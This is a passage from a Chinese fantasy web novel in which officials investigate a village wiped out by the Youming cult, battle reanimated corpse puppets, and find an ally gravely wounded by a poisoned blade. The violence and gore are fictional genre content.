那差役从马背上滑下来,腿一软差点跪倒在地,扶住马腹才勉强站稳,声音带着哭腔:“不是匪患,也不是疫病……是**了!全村的人都**!一个活口都没剩!死相……死相太吓人了!”
“什么?!”赵明德瞳孔骤缩,一把抓住差役的衣领,“你再说一遍!全村人都**?三十多户人家,上百口人,怎么会突然全**?”
卢正淳和齐枫也瞬间变了脸色。李家村离府城不过十里,是个靠种桑养蚕为生的小村庄,村民大多淳朴老实,平日里连邻里**都少见,怎么会突然遭遇灭门之灾?
差役被赵明德抓得喘不过气,眼泪都快下来了:“是真的!傍晚有个去收蚕丝的货郎路过李家村,见家家户户都关着门,喊了半天没人应,就推开村头王老汉家的门,结果……结果一院子都是尸体!货郎吓得魂飞魄散,连货担都扔了,一路跑回府城报信!小的已经派了两个弟兄先去探查,到现在还没回来,怕是……怕是也出事了!”
齐枫心头一沉,一个可怕的念头涌上心头。
李家村的位置,离之前发现假幽冥教徒的废弃古宅不过三里地。
那些假教徒引开他们的注意力,难道就是为了让真正的同伙对李家村下手?
他连忙追问:“货郎有没有说,村民的死相有什么异常?比如身上有没有伤口,或者院子里有没有奇怪的痕迹?”
差役努力回忆着,手指无意识地绞着衣角:“货郎说……说村民都睁着眼睛,脸上的表情像是见了鬼,嘴角还挂着黑血,身上没看到刀伤箭伤,倒像是……像是被抽走了力气,软趴趴地倒在地上。他还说,村口的老槐树上,挂着个黑布幡,上面画着看不懂的符号,风一吹飘起来,像个鬼影似的。”
“黑布幡?奇怪的符号?”赵明德和卢正淳对视一眼,都从对方眼中
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看到了凝重。
这分明是幽冥教的行事风格!
赵明德立刻转身对着身后的士兵下令:“所有人立刻备马!带上火把和兵刃,随我去李家村!卢大人,齐贤弟,此事怕是与幽冥教脱不了干系,咱们一起去看看!”
“好!”卢正淳立刻应下,握紧了腰间的青钢剑。
齐枫也点头,将折扇别在腰间,伸手摸了摸袖中藏着的银针。
若是真遇到幽冥教的邪术,银针或许能派上用场。
不多时,十几匹快马从府衙马厩冲出,马蹄踏在青石板路上,发出“哒哒”的急促声响,划破了夜的宁静。
夜风迎面吹来,带着一丝凉意,却吹不散众人心中的焦虑。
齐枫骑在马上,看着前方漆黑的夜色,心中暗道:若是李家村的**真的是幽冥教所为,那他们的手段比想象中更残忍,血月祭的阴谋,恐怕比预估的还要凶险。
半个时辰后,快马抵达李家村村口。
远远望去,整个村子被浓重的夜色笼罩,没有一点灯火,连狗吠声都听不到,只有村口老槐树上的乌鸦时不时发出几声嘶哑的叫,透着一股死寂的诡异。
空气中弥漫着一股淡淡的血腥味,混杂着桑树叶的腐味,随着夜风飘进鼻腔,让人胃里阵阵翻涌。
“大人,前面就是李家村了。”先行赶来的两个差役从树后走出来,脸色比之前的差役还要难看,其中一个的手还在不停发抖。
“小的们不敢进村,就在村口守着,刚才……刚才还听到村里有奇怪的声音,像是有人在哭,又像是有人在笑。”
赵明德翻身下马,接过士兵递来的火把,火光映亮了他紧绷的脸:“走,进去看看。都打起精神,小心幽冥教的人还在里面设了陷阱。”
众人跟着赵明德,举着火把小心翼翼地走进村子。
村口第一户是王老汉家,木门虚掩着,火把的光透过门缝照进去,能看到院子里横七竖八躺着几具尸体。
第两百二十三章 屠村
赵明德深吸一口气,推开木门,“吱呀”的门轴声在寂静的夜里格外刺耳。
院子里的景象让所有人都倒吸一口凉气。
王老汉趴在门槛上,背对着门口,双手还保持着抓握的姿势,像是临死前还在拉扯什么。
他的老伴倒在灶台边,手里握着的锅铲掉在地上,锅里的玉米粥已经凉透,结了一层薄膜。
两个年幼的孙孙则倒在院子中央的石磨旁,小手还攥着半块玉米饼,眼睛瞪得大大的,瞳孔里满是惊恐,嘴角挂着暗红色的血迹,皮肤呈现出一种不正常的青灰色,像是蒙上了一层灰布。
齐枫蹲下身,手指轻轻拂过小孩的手腕,触感冰凉僵硬,早已没了气息。
他又翻看小孩的眼皮,眼白上布满血丝,再查看口腔,牙龈处有淡淡的黑色痕迹。
这不是普通的**,更像是被某种邪术吸走了气血。
“怎么样?齐贤弟,能看出死因吗?”赵明德凑过来,声音压得极低,生怕惊扰了什么。
齐枫站起身,眉头紧锁:“不像刀伤,也不像常见的**。皮肤青灰、嘴角黑血、瞳孔涣散,更像是……像是体内的气血被强行抽走,魂魄受损而死。这种死法,跟古籍上记载的幽冥教噬魂术很像。”
“噬魂术?”卢正淳脸色骤变,“就是那种能吸食活人魂魄和气血,用来修炼邪功的法术?他们竟然真的敢在府城附近用这种邪术!”
众人继续往前走,每一户人家的景象都如出一辙。
村西头的张屠户家,门帘被扯得稀烂,张屠户倒在肉案旁,手里还握着剔骨刀,刀刃上没有血迹,显然没来得及反抗。
村东头的养蚕户李家,蚕匾里的蚕都僵死在桑叶上,李家人倒在蚕房里,脸上沾着蚕丝,像是在查看蚕茧时突然遇害。
甚至连村里的猫狗鸡鸭,都倒在院子里,双眼圆睁,死状与村民一模一样。
火把的光在黑暗中摇曳,映得尸体的脸色愈发诡异。
几个年轻的士兵从未见过如此惨烈的景象,忍不住转过身对着墙角干呕,连手中的火把都在发抖。
赵明德的拳头攥得咯咯作响,眼中满是怒火:“这群畜生!竟然对手无寸铁的村民下此毒手!三十多户人家,上百口人,老的才刚满周岁,小的已过七旬,他们怎么下得去手!”
卢正淳叹了口气,脸色沉重:“他们不是为了钱财,也不是为了报复,而是为了修炼邪功。李家村的位置偏僻,又离废弃古宅近,正好成了他们的祭品。看来,之前的假教徒确实是调虎离山,就是为了让他们趁机对李家村下手。”
齐枫没有说话,目光扫过院子里的每一个角落。他注意到,每一户人家的院墙上,都用暗红色的颜料画着一个奇怪的符号。
倒三角形的轮廓里,缠绕着扭曲的线条,像是人脸,又像是毒蛇,在火把的光下泛着诡异的光泽。
这个符号,与他在金山寺古籍上看到的“噬魂符”一模一样,是幽冥教用来汇聚阴气、引导邪术的标记。
“大家看这里!”齐枫指着院墙上的符号,“这是幽冥教的噬魂符,他们在每一户人家都画了这个符号,就是为了形成噬魂阵。将整个村子的阴气和村民的气血汇聚起来,供他们修炼邪功。看来,他们对李家村下手,早有预谋。”
众人顺着齐枫的手指看去,果然看到了墙上的符号,心中愈发沉重。
幽冥教不仅手段残忍,还精通邪术阵法,想要阻止他们的血月祭,难度比想象中更大。
就在这时,一个士兵突然指着村子深处,声音发颤:“大人……那边好像有声音!”
众人立刻屏住呼吸,侧耳倾听。
夜风穿过屋舍,果然传来一阵若有若无的声音。
像是女人的呜咽,又像是小孩的嬉笑,还夹杂着某种动物的嘶吼,断断续续,忽高忽低,在寂静的村子里回荡,听得人浑身汗**倒竖。
“这是什
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么声音?”一个差役吓得往士兵身后躲,“难道是……是村民的鬼魂在哭?”
赵明德握紧腰间的短刀,强压下心中的寒意:“别胡说!世上哪有什么鬼魂?多半是幽冥教的人留下的邪术,故意制造幻觉吓唬我们!齐贤弟,你觉得这声音是从哪里来的?”
齐枫凝神细听,声音似乎是从村子最深处的那户人家传来的。
那户人家是村里的富户,院子最大,还盖了两层小楼,此刻黑漆漆的窗口像是怪兽的眼睛,透着一股不祥的气息。
“声音是从村尾的张家大院传来的。”齐枫沉声道,“张家是村里的养蚕大户,家里人多,或许幽冥教的人在那里留下了什么线索,或者……还有人活着。”
“还有人活着?”赵明德眼中闪过一丝希望,“走!我们去张家大院看看!”
众人举着火把,一步步朝着村尾走去。越靠近张家大院,那诡异的声音就越清晰,像是就在耳边盘旋,让人头晕目眩。
张家大院的大门紧闭着,门环上挂着一把铜锁,却没有锁上,显然是有人进出过。
院子里的声音还在继续,时而凄厉,时而诡异,听得人心脏狂跳。
士兵们纷纷拔出刀剑,警惕地盯着大门,手心都冒出了冷汗。
卢正淳握紧青钢剑,低声道:“大家小心,里面可能有幽冥教的人埋伏,或者有邪术陷阱。”
齐枫深吸一口气,上前一步,手指搭在门环上。
冰凉的铜环触感传来,配合着院子里的鬼叫声,让人头皮发麻。
他回头看了一眼众人,见大家都做好了准备,便缓缓用力,推开了张家大院的大门。
吱呀!
破旧的木门缓缓打开,火把的光瞬间照进院子。院子里的景象让所有人都愣住了,而那诡异的鬼叫声,也在此刻骤然清晰。
张家大院的木门缓缓打开,火把的光芒如瀑布般倾泻而入,瞬间照亮了院内令人毛骨悚然的景象。
第两百二十四章 尸
众人僵在原地,连呼吸都下意识放缓,握着武器的手青筋暴起。
院子中央的青石板上,五个身影正歪歪扭扭地晃动,看衣着是张家的村民,可模样却如同地狱爬出来的恶鬼。
最靠前的是个中年汉子,本该是壮实的身躯此刻却像被抽走了骨头,晃悠着前行。
他胸口裂开一道深可见骨的伤口,皮肉外翻,露出惨白的肋骨,可伤口处没有一滴鲜血渗出,只有一层青灰色的薄膜覆盖着,在火光下泛着诡异的光泽。
旁边的老妇人更吓人,半边脸颊已经腐烂,露出森森白骨,浑浊的眼球挂在眼眶外,却死死盯着门口的众人,嘴角还淌着黑色的粘液。
还有三个半大的孩子,四肢扭曲成不自然的角度,像是被人硬生生掰断,却依旧蹒跚着挪动,指甲缝里还沾着泥土和碎布,嘴里发出“嗬嗬”的嘶吼,声音沙哑得像破风箱在拉扯。
“这……这是什么怪物?”一个年轻差役吓得牙齿打颤,手里的火把“啪嗒”掉在地上,火星溅起时,那些身影竟毫无反应,依旧朝着门口的方向挪动。
赵明德握紧腰间的镔铁短刀,指节泛白,声音凝重:“他们穿着张家的衣服,分明是村里的人,可……可都已经受了致命伤,怎么还能走动?”
齐枫眉头紧锁,目光死死盯着那些“活尸”的伤口。
没有血迹,没有生机,只有一股若有若无的阴气萦绕在躯体周围。
他突然想起金山寺古籍里的记载,脸色骤变:“是幽冥教的尸傀儡术!他们能将刚死去的人炼制成傀儡,用阴气支撑躯体行动,这些人没有意识,只知听从操控者的命令,见人就攻击!”
“尸傀儡术?”卢正淳眼中闪过一丝恍然,他收起青钢剑,脸上带着几分回忆,“我早年在苗疆游历的时候,见过当地巫蛊师用虫蛊操控尸体,让死者暂时活动,可那些傀儡还会流血,行动也迟缓,跟眼前的完全不一样。这些尸傀儡不仅不怕伤痛,连血都没有,像是被抽干了所有生机,只剩一副躯壳被阴气吊着。”
赵明德震惊道:“苗疆巫蛊师?难道幽冥教的邪术还融合了巫蛊之术?这也太诡异了!”
“不管是尸傀儡还是巫蛊,这些东西都极具攻击性!”卢正淳话音刚落,那胸口带伤的中年汉子突然嘶吼一声,猛地朝着离他最近的差役扑去。
那差役不过二十出头,哪里见过这种场面,吓得浑身僵住,站在原地一动不动,连手中的长刀都忘了举起,眼里满是恐惧。
“小心!”卢正淳反应极快,脚下发力,身形如箭般冲了过去。
他手中的青钢剑寒光一闪,对着中年汉子的脖颈斩去,动作又快又准。只听“噗嗤”一声闷响,那颗头颅应声落地,滚到差役脚边,浑浊的眼球还死死盯着他,嘴里依旧“嗬嗬”作响。
可更诡异的事情发生了。
头颅落地后,那具无头尸体并没有倒下,反而像失去了方向的木偶,依旧挥舞着双臂,朝着差役的方向乱抓,脖颈的断面处没有鲜血涌出,只有青灰色的皮肤皱缩着,像是早已干涸的泥土。
“我的娘啊!”那差役终于回过神,吓得魂飞魄散,连滚带爬地躲到士兵身后,双腿抖得像筛糠,“这……这根本不是人!是鬼!是恶鬼啊!”
卢正淳也皱起了眉头,他征战多年,斩杀过无数敌人,却从未见过如此诡异的景象。
“没有鲜血,没有痛觉,连头颅被斩都能行动……这尸傀儡术,比苗疆的巫蛊术还要邪门!”
就在这时,剩下的四个尸傀儡突然同时嘶吼起来,声音尖锐刺耳,像是在呼应某种指令。
老妇人张开满是黑牙的嘴,朝着一个士兵的手臂咬去。
三个孩子则挥舞着扭曲的四肢,朝着火把的方向冲来,仿佛被火光吸引,指甲划过青石板,发出刺耳的“咯吱”声。
“列阵!举刀防御!”赵明德大喊一声,士兵们立刻反应过来,纷纷举起长刀,组成一道紧密的刀墙。
可尸傀儡
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根本不怕刀刃,一个孩子撞到刀墙上,被长刀划开腹部,肠子流了出来,却依旧往前扑,反而吓得前排的士兵连连后退。
“不要怕!他们只是傀儡,没有意识!”齐枫大喊着,手中的折扇“唰”地展开,扇骨里藏着的三寸利刃在火光下闪着冷光。
他快步冲到一个士兵身边,对着扑过来的孩子刺去,利刃精准地刺入孩子的眉心。
那孩子动作一顿,随即软软地倒在地上,不再动弹。
“攻击眉心!”齐枫对着众人喊道,“古籍上说,尸傀儡的控尸符藏在眉心,只要破坏符印,就能破解操控!”
众人闻言,立刻调整攻击目标。
赵明德手持短刀,朝着老妇人冲去,避开对方抓来的双手,猛地将短刀刺入老妇人的眉心。
老妇人嘶吼一声,动作瞬间停滞,重重地倒在地上,再也没有动静。
卢正淳则对付剩下的两个孩子,他剑法凌厉,一剑一个,精准地刺穿孩子的眉心。
可就在最后一个孩子倒下时,那具无头尸体突然再次动了起来,挥舞着双臂朝着齐枫扑去。
齐枫反应极快,侧身避开,同时一脚踹在尸体的膝盖上,尸体“扑通”一声跪倒在地。
他趁机举起折扇,对着尸体的后心刺去。
那里也有一个细小的黑色符印,是备用的操控点。
利刃刺入后心,无头尸体终于彻底不动,软软地倒在地上,青灰色的皮肤渐渐失去光泽,像是被抽走了最后一丝阴气。
战斗终于结束,院子里恢复了寂静,只剩下众人粗重的呼吸声和火把燃烧的“噼啪”声。
地上散落着尸傀儡的尸体,有的眉心插着利刃,有的脖颈断裂,场面惨烈又诡异。
士兵们和差役们都瘫坐在地上,脸色苍白,不少人还在干呕。
刚才的战斗虽然只有短短一炷香的时间,却比与活人厮杀更加恐怖。
面对不知疼痛、不知死亡的尸傀儡,每个人都承受着巨大的心理压力。
第两百二十五章 别跑!
赵明德喘着粗气,擦了擦额头上的冷汗,对着齐枫道:“齐贤弟,多亏了你提醒攻击眉心,不然我们还不知道要僵持到什么时候。这幽冥教的邪术,实在是太可怕了。”
卢正淳也点了点头,走到一具尸傀儡身边,用剑挑开对方的眉心,露出一个细小的黑色孔洞,孔洞里还残留着一丝黑色的雾气。
“这就是控尸符的痕迹,已经随着阴气消散了。能在短时间内炼制出这么多尸傀儡,说明操控者的邪术修为不低,而且极有可能还在附近。”
齐枫蹲下身,仔细查看孔洞,眉头紧锁:“这些尸傀儡的炼制时间很短,阴气还不稳定,说明操控者是临时炼制的,可能是为了拖延我们的时间,或者……试探我们的实力。”
就在这时,卢正淳突然脸色一变,猛地朝着院子的后墙望去,手中的青钢剑瞬间出鞘,指向墙外:“有人在盯着我们!”
众人闻言,立刻紧张起来,纷纷举起武器,朝着后墙望去。
院子的后墙不高,上面爬满了藤蔓,看起来空无一人,只有夜风穿过藤蔓,发出“沙沙”的声响。
“卢大人,你是不是看错了?这里除了我们,没有别人啊。”一个差役小声说道,眼神里满是恐惧,生怕再出现什么怪物。
“不会错!”卢正淳语气坚定,他常年习武,对气息极为敏感,“刚才战斗的时候,我就感觉到有一道阴冷的目光在盯着我们,只是当时战况紧急,没来得及细想。现在战斗结束,那道目光还在,就在后墙外面!”
齐枫也凝神细听,果然感觉到一丝微弱的阴冷气息,与尸傀儡身上的阴气同源,却更加凝练。
“是炼制尸傀儡的幽冥教徒!”齐枫沉声道,“他一直躲在暗处观察我们,现在肯定要跑!”
赵明德脸色一变,对着卢正淳道:“卢大人,快追!不能让他跑了!只要抓住他,说不定能问出真正的祭坛地点!”
卢正淳没有废话,纵身一跃,踩着墙根的石墩翻过墙头。
落地后,他朝着四周望去,只见一道黑影正朝着村外的方向狂奔,速度极快,黑色的夜行衣在夜色中几乎与黑暗融为一体,很快就要消失在树林里。
“休想跑!”卢正淳大喝一声,脚下发力,身形如离弦之箭般追了上去。
夜风在耳边呼啸,他紧紧盯着前方的黑影,手中的青钢剑握得更紧。
这是他们第一次近距离接触真正的幽冥教徒,绝不能让对方逃脱!
卢正淳翻过后墙的瞬间,身影便消失在夜色里。
赵明德看着空荡荡的墙头,立刻转身对着身后的士兵和差役厉声下令:“快!带上火把和兵刃,去追!卢大人孤身追敌,万一那幽冥教徒有同伙设伏,他会吃亏的!”
士兵们不敢耽搁,纷纷捡起地上的火把,握紧长刀,快步跟上卢正淳。
齐枫站在原地没动,目光落在院子里散落的尸傀儡尸体上。
这些躯体被邪术浸染,青灰色的皮肤下隐约透着黑气,若是就这么丢在这里,等天热起来,极有可能滋生疫病,甚至被幽冥教的人回来再次利用。
“齐贤弟,你怎么了?”赵明德一只脚已经踏上墙头,见齐枫没动,忍不住回头催促。
齐枫指着地上的尸体,语气凝重:“赵大人,这些尸傀儡不能不管。它们被阴气和邪术侵蚀,身上说不定残留着毒素,要是不及时处理,一旦引发瘟疫,府城的百姓就要遭殃了!”
赵明德这才反应过来,脸色骤变:“那怎么办?总不能把它们留在这院子里吧?”
“只能烧掉。”齐枫脸色坚决,“火能净化阴气和毒素,既能防止疫病传播,也能断了幽冥教再次利用这些尸体的念头。你先带弟兄们去追卢大人,我留在这里,让几个差役帮忙把尸体搬到村口空地烧掉,处理完我就去跟你们汇合。”
赵明德犹豫了一下,他知道齐枫说得在理,可让齐枫独自
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留下,他又放心不下:“那你务必小心!我给你留两个身手好的差役,要是遇到危险,立刻放信号弹,我们看到就会回来支援!”
“放心吧。”齐枫从怀里掏出一枚红色信号弹递给赵明德,“你们也多加小心,那幽冥教徒能炼制尸傀儡,说不定还有别的邪术。”
赵明德接过信号弹,不再多言,翻身跃过墙头,带着士兵们朝着黑影逃跑的方向追去。
院子里只剩下齐枫和两个留下来的差役,还有满地散发着诡异气息的尸傀儡尸体。
“两位大哥,麻烦你们帮个忙,咱们把这些尸体抬到村口的空地上去。”齐枫对着差役说道。
那两个差役虽然心里发怵,但看着齐枫镇定的模样,也咬了咬牙点头。
他们是府衙的人,总不能让百姓陷入瘟疫的危险中。
三人在院子里找了几块木板和绳子,将尸傀儡的尸体一个个绑在木板上,两人一组抬着往村口走。
夜色里,火把的光芒忽明忽暗,映得路边的树木像张牙舞爪的鬼影。
一个差役忍不住小声问:“齐公子,您说……这些尸傀儡要是烧的时候再活过来怎么办?”
齐枫握着火把,脚步没停:“不会的。它们能行动全靠阴气支撑,离开操控者的邪术,阴气很快就会散掉,烧的时候只会像普通尸体一样化为灰烬。”
差役这才松了口气,脚步也轻快了些。
走到村口空地时,天已经蒙蒙亮,远处的地平线泛起一丝鱼肚白。
齐枫让差役们在空地中央堆起干柴和稻草,然后将尸傀儡的尸体一个个放在柴堆上。
他点燃火把,扔向柴堆,“轰”的一声,火焰瞬间窜起,照亮了半边天。
火光中,尸傀儡的尸体发出“滋滋”的声响,还伴随着一股刺鼻的焦糊味,混杂着淡淡的黑气,很快被火焰吞噬。
齐枫站在火堆旁,看着火焰一点点将尸体烧成灰烬,心中却没有轻松。
第两百二十六章 丧心病狂
李家村一百多口人的性命,就这么变成了一堆灰烬,而幽冥教的阴谋还在继续,不知道下一个遭殃的会是哪个地方。
两个差役也站在一旁,默默看着火堆。
直到日头升起,柴堆彻底变成一堆黑灰,齐枫才让差役们打来井水,泼在灰烬上,防止复燃。
“辛苦两位大哥了,咱们先回府城吧,看看赵大人他们有没有消息。”
三人刚走回村口,就看到赵明德带着士兵们回来了,脸上满是疲惫和失望。“齐贤弟,让你久等了。”
赵明德叹了口气,“我们追了一路,那黑影跑得太快,还对山路很熟,钻进城西的黑松林后就不见了。卢大人追得太急,我们跟丢了,我还让一队士兵追过去了,我们怕还有埋伏,就先撤回来了。”
齐枫点了点头,安慰道:“能遇到真正的幽冥教徒,也不算白跑一趟。至少我们知道他们就在府城附近,还在活动。等天亮后,咱们再派人去黑松林搜查,说不定能找到线索。”
赵明德揉了揉眉心:“也只能这样了。现在天也亮了,先回府城吧,我得赶紧让人把李家村的情况上报,再安排人守着村子,别让百姓靠近。”
众人朝着府城走去,路上的行人渐渐多了起来,看到他们一身风尘仆仆的模样,还拿着武器,都忍不住好奇地张望。
齐枫和赵明德没心思理会,只想赶紧回府城休息,再商议接下来的对策。
回到府城时,已经是辰时。
赵明德带着士兵们回府衙处理后续事宜,齐枫则朝着自己的住处走去。
刚走到门口,就看到院子里的灯还亮着,南宫玥、柳若雪、楚清秋、小蝶和富贵都坐在石凳上,脸上满是担忧。
“齐郎!你终于回来了!”南宫玥看到齐枫,立刻站起身跑过来,拉住他的手,指尖还带着一丝冰凉,“你一晚上没回来,我们都快担心**!”
柳若雪也走上前,递过一杯温水:“齐公子,快喝点水吧。富贵说你去了李家村,还遇到了很可怕的东西,到底发生了什么事?”
齐枫接过水杯,喝了一口,心中涌起一股暖意。
他走到石凳旁坐下,将李家村的灭门**、尸傀儡的诡异景象、追逃幽冥教徒的经过,一五一十地说了出来。
“什么?全村人都**?还被炼成了尸傀儡?”小蝶捂住嘴,眼睛瞬间红了,“幽冥教的人也太残忍了!那些村民都是无辜的啊!”
富贵也攥紧了拳头,一脸愤怒:“这群混蛋!要是让我抓到他们,一定要好好教训他们!”
南宫玥眼中满是心疼:“那些村民……太可怜了。我们一定要尽快找到幽冥教的祭坛,阻止他们,不能再让更多人受害了。”
柳若雪点了点头,俏脸满是坚定:“是啊,齐公子。接下来我们可以让锦绣阁的绣娘帮忙留意消息,绣娘们走街串巷,说不定能听到什么线索。”
楚清秋一直沉默着,此刻终于开口,语气冰冷:“我会让人暗中调查黑松林和城西的废弃地点,那幽冥教徒从李家村逃跑,说不定藏在那附近。”
齐枫看着众人坚定的眼神,心中暖暖的:“谢谢大家。有你们帮忙,我心里踏实多了。不过现在大家都辛苦了一晚上,先去休息吧,有什么事等我们休息好了再商议。”
“那你也赶紧休息,齐郎。”南宫玥帮齐枫整理了一下衣领,“你一晚上没合眼,肯定累坏了。”
柳若雪和楚清秋也点了点头,转身回了自己的房间。
小蝶和富贵也打了个哈欠,回房休息去了。
院子里只剩下齐枫一人,他看着天上渐渐升高的太阳,心中暗暗发誓。
一定要尽快消灭幽冥教,不让李家村的悲剧再次发生。
回到房间后,齐枫躺在床上,很快就睡着了。
一晚上的奔波和战斗,他虽然没有多累,但也确实有些许困乏了,连梦都没做一个。
不知过了多久,门外突然
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传来“咚咚咚”急促的敲门声,伴随着小蝶焦急的声音:“少爷!不好了!快醒醒!出大事了!”
齐枫被门外急促的敲门声惊醒时,脑子里还萦绕着昨晚尸傀儡的诡异景象。
他前世见过太多光怪陆离,只是穿越到此以后,还是头一回。
如今满打满算也就睡了两个时辰,不过也够了。
齐枫快步走到门口,刚拉开门,就见小蝶站在廊下,脸色惨白如纸,原本整齐的发髻歪在脑后,手里攥着的帕子被汗水浸得皱巴巴的,连说话都带着颤音。
“少爷!不好了!出大事了!”小蝶扑到门口,眼眶通红,声音里满是哭腔,“卢大人……卢大人他出事了!赵大人派来的衙役就在楼下等着,说让您赶紧去赵府,晚一步……晚一步就怕见不到最后一面了!”
“卢正淳?”齐枫的心猛地一沉,瞬间清醒过来。
昨晚分开时,卢正淳追着幽冥教徒往黑松林去,赵明德带人支援后因没追上且担心尸傀儡隐患撤了回来,怎么会突然出事?
他连忙抓住小蝶的胳膊追问:“卢大人到底怎么了?是中了埋伏,还是受了伤?你说清楚!”
“衙役没细说,就说卢大人受了重伤,浑身是血,现在在赵府躺着,已经快不行了!”小蝶急得直跺脚,眼泪顺着脸颊往下掉,“少爷,您快走吧,别耽误了!”
齐枫哪还顾得上洗漱,转身从衣架上抓过青衫胡乱套上,连腰带都没系紧,就跟着小蝶往楼下跑。
刚到院子里,就看到一个穿着府衙青色制服的差役站在石榴树下,手里握着马鞭,脚尖不停地点着地,脸上满是焦急。
看到齐枫下来,那差役立刻迎上来,躬身行礼时手都在抖:“齐公子!您可算下来了!赵大人让小的务必尽快把您请过去,卢大人他……他快撑不住了!”
“快撑不住了?”齐枫的脚步顿了顿,心头更沉。
好好一个人,突然就要没了?
第两百二十七章 卢正淳危!
卢正淳的武功他亲眼见过,青钢剑使得出神入化,寻常江湖好手都近不了身,那幽冥教徒到底有什么本事,能把他伤成这样?
他一边往外走,一边追问:“昨晚我们分开后,卢大人到底遇到了什么?跟他一起追出去的士兵呢?他们没说具体情况?”
“小的也不清楚细节!”差役快步跟在齐枫身后,语速飞快,“今早天刚亮,跟卢大人一起进黑松林的两个士兵才爬回府衙,浑身是伤,说卢大人追上那黑影后,两人打了起来,结果卢大人被对方的淬毒短刀刺中,还中了邪术。”
“他们俩想帮忙却被黑气困住,等挣脱出来,卢大人已经倒在地上昏迷不醒,黑影早就跑没影了!他们拼了半条命才把卢大人抬回府城,送到赵府后,大夫们看了都说凶多吉少!”
齐枫不再多问,脚步更快了些。
街上的行人已经多了起来,包子铺的蒸汽、茶馆的吆喝声交织在一起,可他却没心思看一眼。
卢正淳不仅是朝廷派来的巡查使,更是对抗幽冥教的关键战力,若是他出事,府城少了一个能正面硬撼幽冥教高手的人不说,朝廷还会派新的巡查使来。
新官上任,未必会像卢正淳这样信任自己,到时候对抗幽冥教的计划怕是要搁置,甚至可能生出更多变数。
不到一刻钟,两人就到了赵府门口。
还没进门,就听到府里传来慌乱的脚步声,夹杂着丫鬟们的急呼:“快!再换一盆热水来!”
“药煎好了吗?卢大人快撑不住了!”
齐枫快步走进去,只见几个仆役端着木盆匆匆跑过,盆里的水泛着暗红的血色,溅在青石板路上,留下一道道刺眼的痕迹。
还有三个背着医药箱的大夫,脸色凝重地从正厅方向走出来,一边走一边摇头叹气,嘴里念叨着“毒素太烈”“无力回天”。
“齐公子!您可算来了!”赵府的管家看到齐枫,像是抓住了救命稻草,连忙小跑着过来,引着他往正厅走,“赵大人在里面急得团团转,卢大人他……情况越来越不好了。”
齐枫跟着管家走进正厅,一股浓重的药味混杂着血腥味扑面而来。
赵明德坐在太师椅上,头发乱糟糟的,平日里一丝不苟的藏青色官服皱了好几处,手里攥着一块沾着血迹的白布,指节泛白,脸色比纸还白。
旁边还坐着两个府城的官员,都是一脸愁容,看到齐枫进来,只是有气无力地拱了拱手,眼神里满是绝望。
“齐贤弟!你可算来了!”赵明德看到齐枫,猛地站起身,椅子腿在地上划出刺耳的声响。
他快步走到齐枫面前,声音沙哑得像是被砂纸磨过:“卢大人他……他快不行了,你快想想办法!府城最好的五个大夫都看过了,都说没办法,你读书多,说不定知道这毒怎么解!”
齐枫连忙扶住赵明德,让他坐下,自己也拉了把椅子坐在旁边,急声问道:“赵大人,您先别急,跟我说说具体情况。昨晚你们分开后,卢大人追进黑松林,到底发生了什么?跟他一起进去的士兵呢?他们有没有说那幽冥教徒的模样,或者用的什么毒?”
赵明德深吸一口气,努力平复着情绪,缓缓开口:“昨晚我们跟你分开后,就朝着黑松林方向追,可那黑影跑得太快,钻进林子就没影了。卢大人说不能让他跑了,让我们先回来,他自己带了两个身手最好的士兵进去追。”
“我们在林外等了快一个时辰,都没见他们出来,又担心你们出事,就安排了一队士兵赶紧进去找,可黑松林里树太密,夜里又黑,他们找了整整三个时辰,才在一处山洞口发现了那两个士兵。”
说到这里,赵明德的声音顿了顿,眼里泛起红血丝:“那两个士兵被黑气缠着手脚,浑身是伤,说他们跟着卢大人追到山洞时,那黑影突然转身动手,那黑影手里拿着一把短刀,刀上泛着绿光,卢大人没留神,被他刺中了胸口。”
“还
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没等卢大人反击,那黑影又抬手挥出一股黑气,把他们两个困住,等他们挣脱开,黑影已经跑了,卢大人倒在地上,胸口的伤口周围都变成了青黑色,人早就没了意识。”
“短刀淬毒,还会用黑气困人?”齐枫皱紧眉头,手指无意识地敲击着桌面。
这黑影的手段,比之前遇到的幽冥教徒厉害得多,显然是核心成员,说不定还知道祭坛的具体位置。
若是卢正淳**,这条线索也就断了。
他又追问:“那两个士兵有没有说,那黑气是什么样子的?卢大人中了毒后,有没有什么特别的症状?比如抽搐、呕吐之类的?”
“他们说那黑气是黑色的,像烟雾一样,缠在身上又冷又麻,根本动不了。”赵明德回忆着士兵的话,“至于症状,他们说卢大人倒在地上后,胸口的青黑色一直在扩散,嘴唇也变成了紫色,呼吸越来越弱,他们不敢耽误,赶紧把卢大人抬了回来。”
齐枫的眉头皱得更紧了。
这症状不像是普通的**,倒像是被阴气浸染后的反应,难道那短刀上的毒,还混合了幽冥教的邪术?
“大夫们怎么说?”齐枫又问,“他们有没有查出是什么毒,有没有办法缓解?”
提到大夫,赵明德的情绪瞬间崩溃,他猛地一拍桌子:“那些大夫!都说没见过这种毒!说毒素已经顺着血液流到五脏六腑了,只能开些吊命的药,能不能撑过去,全看卢大人自己的造化!刚才最后一个大夫还说,卢大人的气息越来越弱,恐怕……恐怕撑不过半个时辰了!”
就在这时,一个穿着灰色长衫的大夫匆匆从后厅跑出来,手里还攥着一个药碗,脸色惨白地跑到赵明德面前,躬身道:“赵大人!不好了!卢大人他……他体内的毒素突然爆发了,胸口的青黑色已经蔓延到脖子了,气息微弱得快摸不到了!我们几个已经把最好的药都用上了,还是没用,您……您还是赶紧准备后事吧!”
第两百二十八章 我来试试
“准备后事?”赵明德猛地站起身,一把揪住大夫的衣领,眼神里满是疯狂,“你说什么?我让你们救他!不是让你们说这种话!我不管你们用什么办法,就算是把府城的药材都搜光,也要把卢大人救回来!否则,我饶不了你们!”
那大夫被赵明德揪得喘不过气,脸色涨成了猪肝色,却还是无奈地摇头:“赵大人,不是我们不尽力啊!这毒太邪门了,不仅能蚀骨,还能吸人阳气,我们开的药只能暂时压制,根本挡不住毒素扩散。现在卢大人的阳气快被吸光了,我们……我们真的没办法了!”
赵明德颓然地松开手,踉跄着后退了几步,重重地撞在身后的柱子上。
他看着大夫转身离开的背影,眼里的光一点点熄灭,嘴里喃喃自语:“怎么会这样……怎么会这样……卢大人是朝廷派来的巡查使,要是死在府城,我怎么向朝廷交代啊……”
旁边的两个官员也叹了口气,一个年长些的官员上前拍了拍赵明德的肩膀,安慰道:“赵大人,您也别太自责了,这都是幽冥教的阴谋,谁也没想到那黑影这么厉害。我们现在能做的,就是尽量让卢大人走得安详些。”
就在这时,门口传来一阵脚步声,萧无痕走了进来。
